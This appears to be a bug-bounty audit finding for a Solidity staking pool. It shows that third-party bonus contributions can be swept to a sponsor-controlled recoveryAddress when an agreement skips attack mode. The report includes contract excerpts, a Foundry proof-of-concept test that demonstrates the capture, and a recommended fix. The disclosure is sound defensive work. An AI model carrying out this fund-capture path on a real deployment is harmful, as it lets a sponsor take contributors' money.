FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

`contributeBonus` funds are deterministically captured by the sponsor's `recoveryAddress` when the agreement skips attack mode

Author Revealed upon completion

Root + Impact

Description

contributeBonus() is a permissionless, non-refundable entrypoint with no per-contributor accounting. When a pool resolves with riskWindowStart == 0 ("no observable risk"), _bonusShare pays every staker zero and sweepUnclaimedBonus() ships the entire bonus pot, to the sponsor controlled recoveryAddress.

The design docs justify "no observable risk → no bonus" only from the staker's perspective (stakers had a free pre-risk exit, so forfeiting the risk premium is fair). They never address the bonus contributor, who has no exit, no refund, and no accounting.

Worse, a sponsor who also controls the agreement can make this outcome deterministic and undefendable by driving the agreement NEW_DEPLOYMENT → PRODUCTION via the registry's supported attack-skip path (goToProduction()), no active risk state is ever entered, so riskWindowStart can never be sealed and no one can pokeRiskWindow() to defend the bonus. The sponsor then sweeps the third party contributions to their own wallet.

contributeBonus records no per-contributor state and offers no way out:

function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
totalBonus += received; // no per-contributor mapping; non-refundable
emit BonusContributed(msg.sender, received);
}

At resolution, _bonusShare returns zero for every staker whenever the risk window never opened:

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0; // "no observable risk" -> pays zero
...
}

And sweepUnclaimedBonus reserves only principal in that case, the whole bonus becomes sweepable to recoveryAddress:

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) { // <-- bonus is NOT reserved when riskWindowStart == 0
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
...
stakeToken.safeTransfer(recoveryAddress, amount); // entire bonus -> sponsor-controlled address
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

recoveryAddress is sponsor controlled and mutable, so the sponsor can set it to their own wallet.

riskWindowStart only seals when a pool interaction (or pokeRiskWindow()) observes the registry in an active-risk state (UNDER_ATTACK / PROMOTION_REQUESTED), see _observePoolState / _markRiskWindowStart. BattleChain's "Skip Attack Mode" flow drives an agreement straight to PRODUCTION:

  • The agreement owner calls goToProduction(agreement), taking the registry NOT_DEPLOYED/NEW_DEPLOYMENT → PRODUCTION with no active risk interval.

Because no active risk state is ever reachable, pokeRiskWindow() can never seal riskWindowStart (it would only ever observe a terminal state and seal riskWindowEnd). The mitigation relies on for other timing games, "any counterparty can pokeRiskWindow() the instant the registry transitions", is structurally unavailable here.

Risk

Likelihood:

  • Occurs on every pool built around an agreement that uses BattleChain's supported "Skip Attack Mode" path (goToProduction()), leaving riskWindowStart == 0.

  • Needs no privileged action, contributeBonus is permissionless, recoveryAddress is sponsor controlled by default, and pokeRiskWindow() cannot defend it since no active risk state ever exist

Impact:

  • Third party permanently loses 100% of contributed bonus, swept in full to the sponsor's recoveryAddress with no refund path.

  • Reward mechanism is structurally dead for attack-skipping agreements, every staker earns zero bonus.

Proof of Concept

The PoC uses the repo's own BaseConfidencePoolTest harness. It stakes principal (alice), has a third party (carol) contribute bonus, drives the mock registry straight to PRODUCTION, resolves SURVIVED, and shows the entire bonus is swept to recoveryAddress while stakers receive zero bonus.

Save as test/poc/ThirdPartyBonusCapture.poc.t.sol and run:

forge test --match-contract ThirdPartyBonusCaptureViaAttackSkipPoC -vv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
/// @notice Demonstrates that a third party's `contributeBonus` funds are deterministically
/// captured by the sponsor-controlled `recoveryAddress` when the agreement skips
/// attack mode (NEW_DEPLOYMENT -> PRODUCTION), so `riskWindowStart` never seals.
contract ThirdPartyBonusCaptureViaAttackSkipPoC is BaseConfidencePoolTest {
function test_thirdPartyBonusSweptToSponsorOnAttackSkip() public {
uint256 stakeAmt = 100 * ONE;
uint256 bonusAmt = 60 * ONE; // funded by a third party, NOT the sponsor
// 1. A staker deposits principal while the registry is pre-risk (NEW_DEPLOYMENT).
_stake(alice, stakeAmt);
// 2. A THIRD PARTY (carol) contributes bonus, expecting it to reward confident stakers.
_contributeBonus(carol, bonusAmt);
assertEq(pool.totalBonus(), bonusAmt, "third-party bonus recorded");
// 3. SKIP ATTACK MODE: registry goes straight to PRODUCTION, never entering an
// active-risk state (UNDER_ATTACK / PROMOTION_REQUESTED). This mirrors the
// BattleChain goToProduction() / instantPromote() attack-skip flow.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
// 4. Moderator resolves SURVIVED (valid from a terminal PRODUCTION registry).
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// No active-risk state was ever observed -> the risk window never opened, and it is
// now UNDEFENDABLE: pokeRiskWindow() cannot seal a start with no active-risk state.
assertEq(pool.riskWindowStart(), 0, "risk window never opened (attack skipped)");
// 5. Anyone sweeps the "unclaimed" bonus. With riskWindowStart == 0, the bonus is not
// reserved for stakers, so the entire third-party contribution goes to recoveryAddress.
uint256 recoveryBefore = token.balanceOf(recovery);
pool.sweepUnclaimedBonus();
uint256 captured = token.balanceOf(recovery) - recoveryBefore;
// The sponsor-controlled recoveryAddress captured 100% of the third party's bonus.
assertEq(captured, bonusAmt, "entire third-party bonus swept to sponsor recoveryAddress");
// 6. The staker recovers only principal — zero bonus, as designed for no-risk resolution.
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
assertEq(token.balanceOf(alice) - aliceBefore, stakeAmt, "staker gets principal only, no bonus");
// 7. The third-party contributor has no claim and no refund path.
assertEq(pool.eligibleStake(carol), 0, "contributor has no stake/claim");
vm.prank(carol);
vm.expectRevert(); // InvalidAmount — carol has nothing to claim
pool.claimSurvived();
}
}

Recommended Mitigation

The design already protects stakers symmetrically, they get principal back when no risk materialized (they had a free exit). Extend the same fairness to bonus contributors. When the pool resolves with riskWindowStart == 0, return each contributor's funds instead of sweeping them to the sponsor. That requires per-contributor accounting, which contributeBonus() currently lacks.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!